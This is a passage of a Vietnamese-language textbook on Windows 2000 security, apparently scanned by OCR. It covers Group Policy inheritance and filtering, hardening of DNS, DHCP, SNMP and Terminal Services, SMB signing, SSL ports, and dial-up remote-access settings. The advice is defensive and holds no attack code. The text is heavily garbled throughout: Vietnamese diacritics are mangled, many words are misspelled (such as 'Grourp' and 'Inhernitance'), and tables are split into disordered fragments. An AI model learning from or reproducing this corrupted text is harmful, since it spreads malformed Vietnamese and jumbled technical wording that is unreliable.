Group Policy cho phép cac d6i twgng trong container thira ké Group Policy tir
container. Diéu nay han ché su phire tap cho ngudi quan tri trong viéc ap dung
Group Policy.

Group Policy ¢6 thé dugce ap dung cho site, domain hoic OU. Khi dugc ap
dung vao mét container, Group Policy s& dp dung cho moi user va computer
cua container do.

Khi mét dbi tuong dugc yéu ciu, Windows 2000 s& ap dung cac xac 13p vé
Group Policy cho d6i tugng dé theo mét thir tr nhat dinh. Tha ty d6 duge
minh hoa trong hinh dudi:
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Effective
Policy

C6 nhimg truomg hop ngudi quéan tri s& khéng mudn d6i twong thira k& mot
Group Policy dugc ap dung & container cha, Group Policy cung c4p tinh ning
Block Policy Inheritance dé thirc hién diéu nay. Khi thuge tinh Block Policy
Inheritance dugc thiét 14p cho mét Group Policy thi Group Policy niy s& khéng
duoc ké thira tir container cha dé 4p dung cho ddi tuong.

Nguoc lai, ¢c6 nhing trudng hop ngudi quan tri cia container cap cao hon
muon 4p ddt nhitmg container cap dudi bét budc pha1 ké thira va ap dung cac
Group Policy cu thé nao d6, thi ngudl quan trj cap cao ¢6 thé st dung thudc
tinh No Override dé thuc hién didu nay. Khi thudc tinh No Override duoc thiét
1ap cho mét Group Policy thi cac dbi twong con cita container s& bj bit budc
phai 4p dung Group Policy d6, cic policy ctia d6i twong con s& khong thé ghi
de dugc Group Policy ciia container cha.

Tham khao bang sau dé hé trg trong viéc quyet dinh chinh sach 4p dung Group
Policy cho don vi:

Muc dich Thue hién
Don gian héa viéc quan tri | Chip nhan co ché thira ké cia Group Policy,
Group Policy khong nén sir dung Block Policy Inheritance va
No Override.
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Giam thiéu t6i da thoi gian
xit ly ap dung Group Policy
khi ding nhdp

Gidm t4i da cac cdp ma & d6 Group Policy dugc
ap dung trong cau tric OU.

Tranh viéc lién két chéo cdc Group Policy giita
cac domain.

Ngian chin viéc khdng chép
nhin ap dung cac Grourp
Policy cén thiét

Tao mét Group Policy méi véi cac cdu hinh cin
thiét va thiét lap thuéc tinh No Override cho
Group Policy nay.

Ngin chin user thay ddi
céu hinh may cuc b bing
cich dinh nghia Local
Group Policy

Thiét 14p cdc cdu hinh quan trong trong Group
Policy. Theo thir tr ap dung Group Policy {én
mdt doi tugng, Local Group Policy s& bj ghi deé.

Ap dung Group Policy
trung tim dé tac dong dén
tit cd mot user

Ap dung Group Policy & mirc cao nhit cia cdu
tric Active Directory. Thong thudng la ¢ mirc
domain hodc & OU miic cao nhét.

Ap dung Group Policy cho
mdt sO gidi han cac user va
computer

DPua céc user va computer nay vao quan ly trong
mdt OU va ap dung Group Policy cho OU nay.

Maéc dinh, Group Policy s& p dung cho moi user va computer trong container
ma né duge chi dinh. Tuy nhién ta c6 thé loc lai dé chi c6 mot sé user va
computer nao do trong container dugc ap dung Group Policy béng cach djnh
nghia c4c nhém chira cic d6i tugng va chi dinh cédc quyén han thich hop cho
cac nhom nay trong tab Security ctia Group Policy. Chi ¢6 cac nhém cé ca 2
quyén Read va Apply Group Policy méi dugc phép ap dung Group Policy.

Tham khao bang duéi day dé hd tro viée loc Group Policy:

Muc dich

Thuc hién

Bao dam Group Policy sé
dugc ap dung cho nhém

Gén ca 2 quyén Read va Apply Group Policy cho
nhom.

Cém cac quan tri cua mot
OU nao 46 s dung Block
Policy Inhernitance trén
Group Policy

Khéng gan quyén Write trén d6i twong Group
Policy cho nhém cac quan tri do.
Ap dung Group Policy tai OU cha va loc dé chi

ap dung cho cac computer va user khac trong OU
con.

Khéng cho Group Policy
ap dung lén cac nhém user
hay computer ndo do

Dit ché d6 Deny cho quyén Apply Group Policy
cho nhitng nhém nay doi véi doi tugng Group
Policy dang xét.
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Thinh thodng ¢6 trudmg hgp cac Group Policy khong duqc ap dung nhu mong
doi. Lirc d6 ta cn c6 cac bién phap hiru hiéu dé g& rdi cho cac Group Policy

nay.

Tham khao bang dudi diy dé hd trg cho viéc g& rdi Group Policy:

Muc dich

Thue hién

Xac dinh tit ca cac vi tri
ma Group Policy dugc dinh
nghia

Duyét cdu tric Active Directory dé xac dinh céc
site, domain hodc OU c6 thé chita Group Policy.

Xéc dinh xem mét Group
Policy dugc dp dung la
ding dé cu hinh cho user
hay computer

Dung cong cu Gpresult cia by Microsoft
Windows 2000 Server Resource Kit.

Xac dinh nguyén nhén tai
sa0 mdt Group Policy &
mic cao hon khéng dugc
ap dung

Tim xem cé mot thiét 1ap vé Block Policy
Inheritance hodic c6 cac thiét 14p nao bi xung dot
& OU gin nhit véi d6i twong ma khéng dugc ap
dung Group Policy.

Hodc xéc dinh xem Group Policy c6 loc khéng
cho cic nhém chira dbi twong dugc quyén ap
dung hay khéng. Néu nhém khéng co ca hai
quyén Read va Apply Group Policy, Group
Policy s€ khong dugc ap dung.

Xac dinh nguyén nhén tai
sao mét Group Policy &
mirc thip hon khéng dugc
ap dung

Tim xem c6 mét thiét ldp v€ No Override &
container cap cao hon khong.

Hodc xac dinh xem Group Policy co Igc khong
cho cic nhém chira dbi twgng dirgc quyén ap
dung hay khéng. Néu nhém khéng c6 ci hai
quyén Read va Apply Group Policy, Group
Policy s& khdng dugce ap dung.

Xac dinh nguyén nhan tai
sao mdt Group Policy
khong ap dung cho moi
computer va user cia mdt
container

Xac dinh xem Group Policy co6 loc khong cho cac
nhém chira d6i tugng duge quyén p dung hay
khéng. Néu nhém khdng cé ca hai quyén Read va
Apply Group Policy, Group Policy s&€ khéng
duge dp dung.

9./ Security cho cic dich vu ciia domain

Pé bao dam cho cdc service duoc hoat dong an toan, han ché viéc tao ra nhitng
so hé& cho hé théng thi ta cdn 6 ké hoach trién khai ding din cho cic service
d6. Trong phan nay ta s& khao sat viéc trién khai c4c service phd bién nhit ma
mot domain Windows 2000 thuong c6 la:
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¢ DNS (Domain Name Service).
¢ DHCP (Dynamic Host Configuration Protocol).
e SNMP (Simple Network Management Protocol).

e Terminal service.

9.1./ DNS (Domain Name Service)

DNS Ia dich vu dung dé phan giai cic tén mdy, tén mién thanh dia chi IP theo
yéu ciu cua client. Trong domain windows 2000, DNS ¢on ding dé dinh vi céc
service trong mang.

DNS duoc truy cép rit nhidu va thudng xuyén va do rét dé bj loi dung cho ké
c6 ac y thong qua DNS dé khao sat cdu tric mang bén trong nén viéc bao mit
cho DNS la rit quan trong. Nhimg rii ro vé bao mat DNS thudng gap c6 thé
nhur sau:

e Co ché cho phep cip nhét dong ciia DNS c6 thé tao co hdi cho ké tan cong
viét dé 18n cac record ciia DNS va thue hién chiém session hoéc tAn cdng
DoS.

e Ké tén cong cé the tao mdt DNS thir cdp vd copy lai toan bd dir ligu cua
DNS chinh, tir d6 s& khao sat durge toan bj cdu tric tai nguyén ciia mang.

o Khi DNS duge dua ra méi trudmg bén ngoai s& dé 15 thong tin v& dja chi
mang bén trong.

Co ché cho phép cip nhit dong ctia DNS rét tién lgi cho nhimg triromg hop céc
server chira dich vu khéng c6 dia chi c6 dinh. Khi dia chi thay doi nhimg
server ndy c6 thé chi déng gui 1¢nh yéu ciu cdp nhét lai thong tin cia mmh
cho DNS. Tuy nhién co ché nay ciing rat dé dang tao so hd cho nhung ké tin
cong stra lai cdc dia chi server thanh dia chi cua ho d sau d6 ldy céc thong tin
quan trong cla cac ngudi dung khi truy cdp vao server gid mao- hodc keé tén
cong cling co thé tin cdng DoS thdong qua con dudng nay.

Cac DNS trong Active Directory c6 thé han ché dugc diéu nay théng qua viéc
sir dung Active Directory-Integrated zone. Thay vi quan ly céc record bang tap
tin vin ban nhu DNS thong thuong, Active Directory-Integrated zone quan ly
cac record theo ciu tric doi twong cua Active Directory va do dé mdi record
déu c6 thé xét phan quyén truy cdp trén né nhu cic déi trong khdc trong

Active Directory. Thyc hién tot viéc phan quyén truy cdp trén record s& ngin
chén duge vén @& ghi dé record da néi & trén.

Khi cé6 mét DNS thtr cip dugc thiét lap, thong tin vé& zone s& duoc truyén tir
DNS chinh dén DNS thir cdp dé 1am ban sao, va do d6 DNS thtr cAp s& ¢6 duge
toan b thong tin vé zone nhu ¢ DNS chinh. Bxeu nay co thé s& la so ho dé ke
tin cong tao mdt ban sao vé zone & DNS thir chp do minh thiét 1ap va sau d6 s&
khai thac thdng tin vé& zone dé tim cach tAn c6ng vao cic may trong mang. bé
tranh d1eu nay, ngudi quan tri can gidi han danh sach céc dia chi IP cu thé sé
duge truyén ndi dung zone tir DNS chinh dé tao ban sao. Khéng nén dé nguyén
thiét 14p mic dinh 13 ¢6 thé truyén cho moi dia chi.
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Néu don vi c6 nhu cdu phai cung cdp dich vu DNS ra méi trudmg bén ngodi thi
can phai cdu hinh riéng biét 2 DNS: mét diing cho mang bén trong va mdt chi
dung cho mang-bén ngoai. Diéu nay s& khong d& cho ké tin cong tir bén ngoai
c6 co héi loi dung DNS dé khao sat cac dia chi cliia mang bén trong dé tir d6
tim cdch tin cong. Hinh sai minh hoa mé hinh dung 2 DNS cho muc dich nay:

External Netvrork

[Extemal ONS :

Internal Network
intemal DNS
Server
Internal and
""‘ Extemal
RRs

Tham khio bang sau dé hd trg cho nhimng quyét dinh thiét Iap DNS:

Muc dich

Thuc hién

Bao vé khong cho bén
ngoai khao sat cac dia chi
cia mang bén trong

Thuc hién trién khai 2 DNS: mét ding cho mang
bén trong va mot chi diing cho mang bén ngoai.

Ngin chin tin cong DoS
vao miy chi DNS baing
cach gay 18i cho dich vu
cdp nhat dong

St dung Active Directory-Integrated zone va co
ché phan quyén cuia né.

Ngén chin cac DNS thi
cap khong hop 1€ tao ban
530 V€ zone

Chi dinh cu thé céc dia chi c6 thé 1am DNS thir
cap trong ciu hinh cua DNS chinh.

Ngin chin viéc ding ky
hodc sira do6i record khong
hop 1€

Str dung Active Directory-Integrated zone va co
cheé phan quyén cua n6.

Ngén chin sur Xuit hién cua
nhimg thanh vién khong
hop 1€ trong nhom DNS
Admins

Ding Group Policy dé gidi han danh sich thanh
vién ctia nhom DNS Admins.

9.2./ DHCP (Dynamic Host Configuration Protocol)

Dich vu DHCP dung cho muc dich cp dia chi IP cho cac may tinh trén mang.
Ngudi quan tri cling cin phai quan tim dung mirc dén viéc bao mit cho cac
dich vu DHCP trong mang dé tranh nhimg diém yéu thuomg gip. Nhimg diém
yéu thuromg gap dbi véi dich vu DHCP:
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e Su xuét hién clia cac DHCP server khong hop 1é gdy nén viéc cdp céc dia
chi khong dung hogic gdy ra 16i cho viéc cap dia chi.

e Xay ra viéc DHCP server ghi dé 1én cac thong tin IP tinh ctia DNS.
e Cip phit dia chi IP cho cic client khéng hop €.

Su hoat dong cua cac DHCP server khong hop 1€ chi co thé xay ra dbi véi
mang thong thudng. Déi v6i mang Active Directory, bt ky mét Windows
2000 DHCP server nao mudn hoat ddng du phai dugc su cho phép cua thanh
vién nhém Enterprise Admin. Didu nay gitip loai bd truéng hop tdn tai sy hoat
dong ctia DHCP server khong hop 1€ trong mang.

DHCP server c¢6 kha ning cip nhit DNS déng thay cho nhitng client khéng hd
trg co ché ndy (Windows 95/98/NT). Tuy nhién khi cip nhat record trong
Active Directory-Integrated zone thi DHCP server sé trd thanh chu quyén cia
cac record d6 ma khong phai 1a cac client twong ing. biu nay s€ lam cho
client thuc sy khong thé nao cdp nhit lai dugc record d6 khi client dugc ning
cép lén Windows 2000 (Windows 2000 co hd trg co ché cap nhat DNS dong
ma khdng cin phai nhér dén DHCP lam hg).

Dé giai quyét van d@ trén, nén dwa DHCP server vao danh sach thanh vién cia
nhém DNSUpdateProxy. Sau khi 1a thanh vién cia nhém DNSUpdateProxy,
DHCP server s& khong dirng cha quyen cia cac record ma noé tao ra khi cép
nhat DNS dong va moi client déu c6 thé cap nhat cac record d6. Sau nay khi
cac client dugc nang cap 1én Windows 2000 thi client s& c6 thé tu thuc hién
viéc cap nhit dong cho cic record niy va sau d6 s& tro thanh chi quyén cia
record.

Tuy nhién ¢6 mot trudomg hop phai lru v khong thé dua DHCP server vao thanh
vién cia nhém DNSUpdateProxy dé tranh tao ra mdt diém yéu khac cho hé
théng 1a: khi DHCP server dugc cai trén domain controller. Luc nay néu .
DHCP server 1& thanh vién cia nhém DNSUpdateProxy thi dbng nghia véi
viéc domain controller ciing 13 thanh vién ciia nhém nay (vi ca hai déu cé cung
dia chi). Dleu nay lam cho khi domain controller cdp nhat cac record DNS hru
thdng tin vé cac dich vu mang thi céc record nay cfing s& ¢6 thé bi cap nhat boi
bét ky client nio khac.

Trong mot s truomg hop can dén murc bdo mét cao, ¢6 thé s& phét sinh nhu cdu
s& chi cip phat dia chi cho mot s may tinh cu thé ndo d6 ma thoi. Trong
truong hop nay khong thé sir dung DHCP theo cach théng thuong vi sé din
dén viéc cung cép dia chi cho cac client ngoai y mudn. DHCP server hé trg
tinh ndng cho phép ngudi quén trj chi dinh cy thé cac client s& dugc cép phat
dia chi thong qua dia chi thiét bj cia client (dia chi MAC).

C6 thé sir dung co ché chi dinh dia chi nhu sau: chi dinh mot khoang dia chi IP
“ding ¢ cép phat danh riéng cho céc dia chi thiét bi cu thé tdn tai trong mang,
Sau d6 chi dinh cac khoang IP con thira cho céc dia chi vét Iy khong the t6n tai,
diéu nay nhim ngin chin viéc cép IP cho céc client ngoai y mudn. Khi sé
client thuc sy cén cdp phat tang lén, ta s& liy lai mot sé dia chi IP trong cdc
khoang nay dé cp phat cho céc client mdi.
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Tuy nhién cach giai quyet bang chi dinh DHCP véi dia chi thiét b1 ¢6 thé s&
giy phic tap cho ngudi quén tri. Trong mét sb trudong hop c6 thé giai quyét
bing céch don gian hon 1a sir dung dia chi tinh gin thing cho timg client,

khong cin dung dén DHCP.

Tham khdo bang sau dé hd tre viéc thiét l4p bao mat cho DHCP:

Muc dich

Thare hién

Ngin chan hoat djng cua
cac DHCP server khdng
hop 1€

Bao dam tit ca mdy trong mang déu hoat dong
trong domain Active Directory.

Bao vé cac record DNS
lién quan den domain
controller

Néu phai dwa DHCP server vio danh sdch thanh
vién DNSUpdateProxy thi khong thiét lap DHCP
server do trén domain controller.

Bao dam [P chi cung cép
cho cac client cén thiét

Sir dung co ché chi dinh cip phéat IP théng qua

dia chi thiét bi cua client

Phat hién cac DHCP server
khong hop 1€

Tim theo cac client c6 dia chi IP khong hop 1€ va
dung 1énh “Ipconfig /all” d€ xem dia chi IP cua
DHCP server do.

9.3./ SNMP (Simple Network Management Protocol)

Dich vu SNMP cung cip céc chirc ning giip cho ngudi quan tri mang cé thé
theo ddi dugc tinh trang hoat dong cua mang, tir d6 ¢6 thé du doén va ngan
chan céc vén dé gay anh huong xu dén hé thong c6 thé xdy ra ciing nhu tim ra
nguyén nhan va cach giai quyét nhitg vén d& da xay ra.

SNMP gbm 2 thanh phin chinh: chuong trinh quan tri SNMP va cac dich vu
giam sat mang SNMP. Céc dich vu giam sat mang SNMP ¢6 nhiém vu theo doi
tinh trang cia mang va néu c6 vén dé gi s& thong béo cho chwong trinh quan tri
SNMP. Ngudi quan tri dung chuong trinh quan trj SNMP dé nhén cdc thong
tin vé tinh trang mang dugce guri vé tir dich vu giam sdt mang SNMP va didu
khién céc dich vu nay.

SNMP cho phép ngudi quan tri thyc hién cdc cong viéc sau dé phyc vu cho
muc dich theo d&i tinh trang mang:

e Theo ddi hidu sudt hoat dong cua mang: giam sat thong tin vé lugng bing
théng sir dung va két qua truyén nhan dit liéu (thét bai/thanh cong).

e Phat hién sy ¢6 mang hoic phat hién cac truy cap khéng hop 1&: ngudi
quan tri ¢6 thé chi dinh cac bién ¢ bao mat can dugc canh bao cho
SNMP. Khi cac bxen ) nay xady ra, SNMP sé thong bdo. Vi du vé cdc bién
cd: router gip su ¢6, cb user khong hop 1€ dang c6 tuong tic véi cac dich
vu gidm sat mang SNMP, c6 thiét bi nao do khoi dong lai.

e Chu hinh cac dich vu gidm sit mang SN,MP tir xa va cdc thiét bi mang.
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« Théng k& tinh hinh sit dung bang thong: thong ké thong tin vé tinh hinh sit
dung bing thdng cia céc khu vue, tir d6 c6 cac quyét dinh thich hop dé xur

ly.
SNMP cho phép ngudi quan tri truy xuat den céc thong tin cAu hinh cia thiét bi
mang hodc may tinh trong mang, do do néu khdng c6 chinh sach bao mat hop
Iy, ké cd ac y ¢d thé loi dung d& xem cac théng tin nhay cam trong mang nhu
thong tin cAu hinh router, thong tin tii khoan ciia Active Directory...

SNMP hd tro viéc phan quyén quan tri va truy cdp giita cic chuong trinh quén
tri SNMP va cac dich vy gidm sat mang SNMP qua céc cdng ddng thanh vién
(thudt ngu cua SNMP la community). Mot cong d6ng c6 mot tén dai dién va
thanh vién ca cjng dong cé thé la cac may cai chwong trinh quan tri SNMP
hodc dich vu giam sat mang SNMP. Cac quyén han c6 thé la:

" o None/N otify: cac dich vy giam sat mang SNMP chap nhén cic yéu clu tir
cac thanh vién trong cong dong.

* Read Only: cac dich vu giam sat mang SNMP chi xtt Iy cdc yéu cau cung
cip thdng tin cho céac thanh vién trong cdng dbng, khéng xir 1y cac yéu cdu
thay ddi thong tin.

e Read Create/Read Write: cic dich vu gidm sat mang xir ly tit ca cac yéu
cau tir cac thanh vién trong cong dong.
Mot diém can Iwu ¥ 12 cac dir liéu truyén nhén gilta cic may SNMP dugc giri &
dang van ban khong ma héa. Do d6 néu can thi€t trong viéc bdo mat dir lidu
trén dudng truyén thi thiét 1&p IPSec cho tait ca cdc may co6 sir dung SNMP.

Tham khéo bang sau dé hé trg viéc thiét 14p bao mat cho SNMP:

Muc dich Thure hién

Ngin chin cic chuong | Str dung quyén Read Only dé khong cho phép céc
trinh SNMP v6 y thay dbi | SNMP xu Iy céc yéu cau lam thay déi thong tin.
cau hinh cia thiét bi mang
ho#c client.

Ngin chin cic chuong | Khong sir dung cdng déng mic dinh Public, déi
trinh quan tri SNMP khdng | tén thanh mét tén kho doan.

hop 1& diéu khién cac dich
vu SNMP

Theo dbi cac truy cép diéu | Cau hinh cho cac dich vu gidm sat mang SNMP
khién dich vy SNMP | bit cac bién cd chimg thuc ciia SNMP.
khong hop 1€. _

Bao vé céac dit 1iéu SNMP | Dung IPSec cho cac miy c6 cai SNMP.
trén duong truyén : '

9.4./ Terminal service

176



Terminal service giip ngudi quan tri lam viéc tir xa trén cac mdy tinh nhwr 13
ngdi trudc may tinh d6. Diéu nay gmp lam nhe nhang rét nhiéu cho viéc quan
tri hé thong Tuy nhién do sir dung rét dé dang va thudn tién nén day ciing 1a -
mot d1em ma céc ké tin cdng thuong nhim dén dé thuc hién cac y dd cia ho.
Vi vy cin c6 nhitng thiét ké bao mat phu hop khi sir dung terminal service.

Terminal server ¢é thé duge cdu hinh dé hoat ddng & mot trong 2 ché do bao
mat; ché d6 Remote Administration hodc ché d§ Application Server. G ché do
Remote Administration, chi c6 cic thanh vién cia nhém Administrators mdi
dugc quyén ding nhdp vao lam viéc trén server thong qua Terminal client. 0
ché d6 Application Server, cdc user ndo ¢6 quyén ding nhip cuc bd deu c6 thé
dang nhép vao 1am viéc trén server thdng qua Terminal client. Do d6 cin chd y
14 néu phai d Terminal server hoat dong & ché d§ Application Server thi tuyét
d6i khéng nén cai Terminal Server trén domain controller, vi nhu vy c6 nghia
13 nhimg user ¢6 thé l1am viéc duoc v6i Terminal server sé ¢é thé dang nhip
cuc b vao tit ca cac domain controller con lai ciia domain.

Khi mét user da déing nhip vao lam viéc trén server thong qua Terminal client
thi coi nhu user d6 dang 1 mét user lam vigc true tiép trén server, cho nén ho
s& cO tat ca cac quyen han trén hé théng tap tin nhwr mot user thong thudng ngdi
trude may. Do d6 cin co ché d6 phan quyén trén hé théng tap tin mét cach hop
1y cho céc user du dinh s& duge lam viéc qua Terminal client, khong nén dung
cac hé théng tap tin FAT, FAT32 vi s& khong thé bio mat trudc ngudi diing
ding nhap cuc bo.

Terminal service cling cung cap cac mirc ma héa dir lieu dé truyen nhan giita
server va client. Néu can thiét ta ¢6 thé sir dung tinh ning nay dé dam bao
nhimg phién 1am viéc ¢ d§ mét cao. Tuy nhién nén phén tich k§ nhu ciu thuc
té d chon mirc bio mat phii hgp ¢ dam bao hiéu suat hoat dong.

Ngoai ra, khi user ddng nhap vao server thong Terminal service, ho sé dugc tu
dong dwa vao danh séch thanh vién cia nhém Terminal Service Users, va
nhom nay c6 mot sé quyen han m3c dinh trén hé thong p tin. Dé vo hiéu hoa
diéu nay dé bao dam réng cdc user s& truy xult hé thong tap tin bing quyén
thyc sy cua ho, cn ap dung b chinh sich bao mét cd san duge luu trong tip
tin Notssid.inf cho cdc Terminal server dé x6a nhém Terminal Service Users ra
khdi cac bang phédn quyén ctia céc tép tin/thu myc. Co6 thé thyc hién diéu nay
theo cach sau: tao mdt OU dé chira tit ca cdc Terminal server va dua céc chinh
sach tir Notssid.inf vao Group Policy ctia QU d6.

Tham khao bang sau dé hd tro cho viéc thiét ké bao mat cho Terminal service:

Muc dich Thurc hién

Chi cho phép thanh vién|Chon ché d6 Remote Administration cho
cia nhém Administrators | Terminal service hoat dong.
su dung truy xudt
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Giéi han truy cip dén hé
théng tap tin

Bao dam ring tht ca cac & dia ddu sir dung he;
théng tip tin NTFS va cé chinh sich phén quyén

hop ly.

Dé phong viéc vo tinh dé
¢ac user sir dung Terminal
service ¢6 quyén han vuot
qua quyén han cho phép

Khéng thiét 1ap cac Terminal service hoat dfng &
ché d Application Server trén domain controller.

Phat hién xem cé user nao
dang truy cdp vao server st
dung Terminal service

Néu c6, thong tin vé client dang két ndi s& duoc
dat trong bién mdi truong clientname va
sessionname.

Bao vé dir liéu truyén nhan
gita Terminal server va
client

Chon mirc ma héa hep ly.

Gidi han su dung truy cép
Terminal service

Gan quyén thich hop cho cic user/group can
thiét.

Bao dim cac user chi sur
dung dung quyén han cua

S dung by chinh sich biao mit cé sén
Notssid.inf.

ho khi truy cdp hé thong
tép tin

10./ Bao mit dir liéu trén dwong truyén

Khi dit liéu dugc truyén trén duong truyén, lic d6 s& khong con duge kiém
soat bdi hé thong nira. Nhimg ke tan cong hoan toan c6 thé can thiép vao cic
dit liéu nay. Hién nay c6 nhiéu phuong phap dé v6 hiéu héa sy can thiép cua
nhitng ké tin cong trén dudng truyén. Phidn niy s& khao sat mot sé cach thong
dung va dé thuc hanh.

10.1./ Chimg thyc viéc giri nhén tip tin

Windows 2000 c6 cung cdp mdt co ché dimg cho chimg thuc ndi dung cic tip
tin duge truyén nhan giita cic may tinh goi 13 SMB (Server Message Block),
hay con dugce goi 1a CIFS (Common Internet File System). Co ché niy bao
dam v& tinh hop 1€ va toan ven cua cac goi dir lidu dugc truyén nhin bﬁng cach
bén giri tao ra dic trung cho méi géi tin (co thé goi 12 chir ky sd) khi giri di va

bén nhén s& kiém tra dic chir ky d6 dé xac dinh géi tin minh nhén c6 dung hay
khong.

Co ché hoat déng ciia SMB duge minh hoa nhu sau:
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Client giri yéu céu ket ndi den server.

Server guri cho client g6i dit li€u méi (challenge). Client s& phai dung g6i
dir 1iéu moi nay dé chung thuc véi server.

Client ma héa géi dir liéu mbi bang mdt khéa 168 bit dugce tinh ra tir mat
khau cia user (khoa nay ciling duge luu trén Active Directory) va giri
cho server. Kém theo d6 1a hé m3 ding dé ma hoéa.

Server ding cung hé ma d3 mi hoa dé giai ma géi dit liéu mdi (dung
khéa lay tir Active Directory). Néu sau khi gidi m3 cho ra dugce dit liéu
moi ban dau thi client duge chimg thuc thanh cong.

Client va server thoa thudn dé thng nhit cAu tric cic géi tin SMB s&
truyen.

Cac gbi tin dit ligu sau d6 s€ duge giri/nhdn nhung c6 kem theo mét con
sO dic trung lam chit ky cho goi tin d6. Con s6 nay dugc tinh ra tir ndi
dung cua goi tin va so thir tu cia gai tin.

SMB thuémg dugc sir dung trong trudng hop can dam bao cac tip tin duge
truyén nhan ding d6i twong, ngin chin cac trudng hop co ké gia danh can
thiép trén dudong truyén. SMB dirge hd trg trén nhiéu hé théng: Windows 2000,
Windows NT SP3 tr¢ 1én, Windows 98.

Mot van dé cin chii y khi sit dung SMB 13 hiéu suét ctia viéc truyén nhin dit
liéu s& bi giam khoang tir 10% dén 15% so vdi viéc truyén nhén tap tin thong
thuong.
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10.2./ Mi héa dit liéu cho web va email

Trong mot (mg dung web, c6 thé cd nhimg trang web chita cac thong tin nhay
cam ma khéng phai ai cling ¢6 thé truy xudt. Dé han ché thip nhit viéc dé 16
cac thong tin nay cho cic dbi twong khong hop 18, hién nay Windows 2000
cung cip co ché co thé p dung cho viéc mi héa dit liéu cho trang web 13 SSL.

SSL cung cip cac siich vu ma hoa/gidi ma dir liéu dugc truyén giira clieng va
server bing cich ket hop ca hai hé ma héa d6i ximg va khong doi ximg De sir
dung SSL cho ing dung web, ca hai web server va web browser déu phai ho
trg SSL.

Ngoai viéc dugc dung phé bién cho web, SSL con dugc sir dung cho cac hé
thong email va LDAP. Bang dudi déy liét ké cac port SSL duge ding trong cac

1ao thirc khac nhau:

Giao thire Port chuin Port SSL

Hypertext Transfer Protocol (HTTP) 80 443
Internet Message Access Protocol v4

IMAPA4) 143 993
Lightweight Directory Access Protocol
(LDAP) 389 636
Network News Transfer Protocol (NNTP) 119 563
Post Office Protocol v3 (POP3) 110 995

Simple Mail Transfer Protocol (SMTP) 25 465

Qua trinh ma héa cho mg dung web bing SSL dwoc minh hoa nhir hinh sau:
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1. Web client (browser) yéu cau két ndi téi web server bing SSL (bing
cach sir dung https:// & URL).

2. Web server giri cho web client certificate clia web server va khoa cong
khai. Web client dung khoa cong khai ndy d€ ma héa théng tin giri web
server.

3. Web client va web server thoa thudn dé théng nhét chiéu dai cua khoa sé
duoc sir dung cho phién lam viée.

4. Web client sinh ra khéa diing cho phién 1am viéc (theo chiéu dai da thoa
thuin vdi web server), sau d6 m3 héa khéa nay bang khoa cong khai da
nhén dugc tir web server va giri tdi web server.

5. Web server ding khoa bi mit cia minh (khéa nay chi cd web server
dugc biét) gidi ma goi tin dé 1ay ra khoa ding cho phién lam viéc.

6. Tu bay git tro di, khéa dung cho phién lam viéc s& duoc diung dé ma
héa/giai ma tat ca nhimg dir liéu truyén nhén gitta web client va web
server.

Tham khéo bang sau dé hé tro cho viée thiét ké bao mat SSL:

Muc dich Thue hién

Xac dinh mic mi héa | Dua vao loai thong tin ma web site cung cap.
(chiéu dai khoa) cho web

" Dya vao ludt phat cia nhing ving ma web site
site

cung Qz‘ip dir li€u (cé nhimg nude luat phap quy
dinh vé chiéu dai khaéa).

Giam thiéu su giam hiéu | Chi 4p dung SSL cho nhimg trang web thét sur
suat hoat ddng ctia web site | cAn dén ma hoa.

khi ap dung SSL Han ché t5i da cac hinh anh trong trang web sir

dung SSL (thong thudong nhitng trang web nay
khong can hinh anh).

Thiét 14p ché d0 ma héa | Thiét 1ap sir dung SSL cho web server (cin phai
chat lugng cao cho web | xin certificate ting mét CA)

server Céu hinh web sir dung khéa 128 bit.

Thjét lap ché d6 ma hoa | Cai dat goi Windows 2000 High Encryption Pack-
chat lugng cao cho web | cho Windows 2000 va thiét 1lap ché d6 sir dung
-lient kho4 128 bit.

Déj vdi cac version cii, cai dit ban patch mdi
nhat cho Internet Explorer.

11./ Bao mit d6i voi truy cip tir xa
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Cho phép cdc user hodc cic mang khdc truy cdp tir xa vao mang cia don vi ¢
vu diém Ia cac nhén vién cia don vj ¢6 the truy cdp vao mang cua don vi lam
viéc nhu dang & trong mang cuc bé tir bit k¥ noi nao. Tuy nhién song song véi
ru diém 16m 6 thi cdc rii ro ciing rat nhiéu cho nén viéc bao mat cho truy cép
fir xa cling cin phai duoc quan tAm thich dang.

11.1./ Bao mit d6i véi cac user

Windows 2000 cho phép ngudi quan tri ciu hinh bio mét cho cac user truy cép
tir xa thong qua hdp thoai Properties clia user — tab Dial-up:

Sau day la y nghia clia cac xéc lap:

¢ Remote Access Permission: cho phép hay khdng cho phép user thyc hién
truy cdp tir xa. Trong truomg hop may tinh thudc domain va xéc lap nay da
dugc cho phép bang cach chon Allow thi Remote Access Policy van dugc
uu tién ghi dé 1én thiét 14p & day.

* Verify Caller-ID: néu sb dién thoai ma user ding dé truy cip khéng dung
vdi s6 duge chi dinh thi truy cdp sé bi tir chéi.

e Callback Options: vdi co ché callback, server sau khi nhén dugc tin hi¢u
két noi tir client s€ cham dut két ndi va sau d6 chu dong thuc hién lai két
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ndi vdi client tir phia server theo nhitng thong s xac lap cho phén nay.
Lac d6 chi phi dién thoai s€ tinh cho phia server.

e Assign a Static [P Address: khi xac 14p nay dugc thuc hién, client ma user
két ndi sé duge gan dia chi IP dugc chi ra, Diéu nay thudong duge ap dung
déi voi cac server c6 cai firewall dung co che xdc dinh client bang IP. Cin
chit y 13 néu sir dung tinh chét ndy thi cdn dam bao ring véi dja chi IP
dugc gén, client phai ¢ thé két néi véi server.

* Apply Static Routqs. xac lap nay cho phép gioi han cac dia chi mang ma
user c¢ thé dung dé két nbi tir xa.

Tham khdo bang sau dé hd trg viée thiét lap cac thong sb bao mat cho user truy

cap fr xa:
Muc dich Thuirc hién
Cém truy cap tir xa Chon gia tri Deny cho Remote Access
Permission.

Quyét dinh viéc truy cip tir
xa dua vao Remote Access
Policy.

Chon gid tri Access Through Remote Access
Policy cho Remote Access Permission.

Rang budc cac truy cap tur
xa vol mét s6 dién thoai
nhat dinh

Cung cép thong tin vé sé dién thoai (hodc Caller-
ID d6i véi nhitng hé thong cd ho trg Caller-ID)
cho Verify Caller ID.

Gan chg cac client ma user
dung dé truy cip mét dia
chi tinh

Cung cip dja chi cho Assign A Static IP Address.
Chu ¥ 12 dia chi ndy can phai mé& duge két noi vai
server.

Rang budc dia chi cac
client ma user ding dé truy

Pinh nghia théng tin v& cic mang nay trong
Apply Static Router.

cap phai thudc cac mang
nao dé |

11.2./ Bao mit d6i véi cic mang khic

Hién nay giai phap phd bién dé két ndi céc mang cia nhimg chi nhanh don vi
tai nhimg vj tri dia ly xa nhau lai thanh mét mang co thé lam viéc nhu mang
